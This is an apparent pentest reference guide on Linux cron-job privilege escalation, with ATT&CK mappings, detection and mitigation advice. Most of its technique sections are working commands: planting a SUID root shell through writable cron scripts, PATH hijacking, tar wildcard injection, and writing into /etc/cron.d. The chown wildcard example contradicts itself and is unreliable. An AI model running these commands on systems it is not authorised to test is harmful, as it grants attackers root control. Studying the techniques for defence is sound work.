Cron Job Exploitation

Overview

Cron is the standard Linux task scheduler. Cron jobs running as root that reference writable scripts, use wildcards in commands, or have misconfigured PATH variables allow privilege escalation. If a cron job runs a script the attacker can modify, the modified script executes as root on the next scheduled run.

ATT&CK Mapping

  • Tactic: TA0004 - Privilege Escalation
  • Tactic: TA0003 - Persistence
  • Technique: T1053.003 - Scheduled Task/Job: Cron

Prerequisites

  • Shell access on the target system
  • Cron jobs that run as root or a more privileged user
  • Ability to modify scripts referenced by cron, or exploit wildcards/PATH

Techniques

Discovery

# System-wide crontab
cat /etc/crontab

# Per-user crontabs
ls -la /var/spool/cron/crontabs/ 2>/dev/null
ls -la /var/spool/cron/ 2>/dev/null

# Cron directories
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

# Systemd timers (modern alternative to cron)
systemctl list-timers --all 2>/dev/null

# Monitor for running cron jobs (watch process list)
# Useful when crontab is not readable
watch -n 1 'ps aux | grep -v watch'

Writable Cron Scripts

If a cron job runs a script you can write to:

# Check permissions on scripts referenced in crontab
cat /etc/crontab
# Example: * * * * * root /opt/scripts/backup.sh

# Check if the script is writable
ls -la /opt/scripts/backup.sh

# If writable, inject a reverse shell or add a root user
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh

# Wait for cron to execute, then:
/tmp/rootbash -p

PATH Variable Abuse

The PATH variable in /etc/crontab determines where cron looks for commands. If a cron job calls a command without a full path and the PATH includes a writable directory:

# Example crontab:
# PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# * * * * * root backup

# If /home/user is writable and appears before /usr/bin in PATH:
echo '#!/bin/bash' > /home/user/backup
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup
chmod +x /home/user/backup

# Wait for cron to execute
/tmp/rootbash -p

Wildcard Injection

Some cron jobs use wildcards in commands like tar, chown, or rsync. Filenames can be crafted to inject command-line flags:

tar wildcard injection:

# Example cron job:
# * * * * * root cd /var/backups && tar czf backup.tar.gz *

# The wildcard expands filenames as arguments to tar
# Create files whose names are tar flags:
echo "" > "/var/backups/--checkpoint=1"
echo "" > "/var/backups/--checkpoint-action=exec=sh shell.sh"
echo '#!/bin/bash' > /var/backups/shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /var/backups/shell.sh
chmod +x /var/backups/shell.sh

# When cron runs: tar czf backup.tar.gz *
# It expands to: tar czf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh ...
# tar executes shell.sh at each checkpoint

chown/chmod wildcard injection:

# Example cron job:
# * * * * * root chown root:root /opt/data/*

# Create a symlink to a target file owned by root
ln -s /etc/shadow /opt/data/shadow

# Create a file named --reference=<attacker-owned-file>
# chown --reference=RFILE TARGET sets TARGET's ownership to match RFILE's ownership
# Attack: reference an attacker-controlled file so chown changes ownership of other files to attacker
echo "" > "/opt/data/--reference=/opt/data/shadow"

# When cron runs: chown root:root --reference=/opt/data/shadow <other_files>
# chown sets the ownership of other files to match /opt/data/shadow (-> /etc/shadow) owner:group
# Note: --reference copies owner:group (ownership), not file permissions (mode bits)

Writable Cron Directories

# Check if cron directories are writable
ls -la /etc/cron.d/
ls -la /etc/cron.daily/

# If writable, create a new cron job
echo '* * * * * root cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /etc/cron.d/escalate

# Wait for execution
/tmp/rootbash -p

Process Monitoring (No Crontab Access)

When /etc/crontab and user crontabs are not readable, monitor running processes to discover scheduled tasks:

# Simple process monitoring loop
while true; do
  ps -eo command --no-headers | sort -u > /tmp/ps2
  diff /tmp/ps1 /tmp/ps2 2>/dev/null
  mv /tmp/ps2 /tmp/ps1
  sleep 0.5
done

This reveals processes that start periodically — likely cron jobs.

Detection Methods

Network-Based Detection

  • Outbound connections from cron job scripts to unexpected destinations (reverse shells)

Host-Based Detection

  • Monitor cron directories for new or modified files: auditctl -w /etc/cron.d/ -p wa
  • Alert on files with names containing -- in directories where cron wildcards are used
  • Monitor /var/spool/cron/ for changes
  • Alert on SUID binaries appearing in /tmp or /dev/shm

Mitigation Strategies

  • Use absolute paths — always use full paths in cron scripts (/usr/bin/tar, not tar)
  • Set restrictive PATH — minimize directories in crontab PATH, never include user-writable paths
  • Restrict cron script permissions — ensure scripts called by root cron jobs are owned by root and not world-writable
  • Avoid wildcards in cron commands — use explicit file lists or loops instead of shell globbing
  • Monitor cron directories — use file integrity monitoring on /etc/cron* and /var/spool/cron/

References

Pentest Guides & Research

MITRE ATT&CK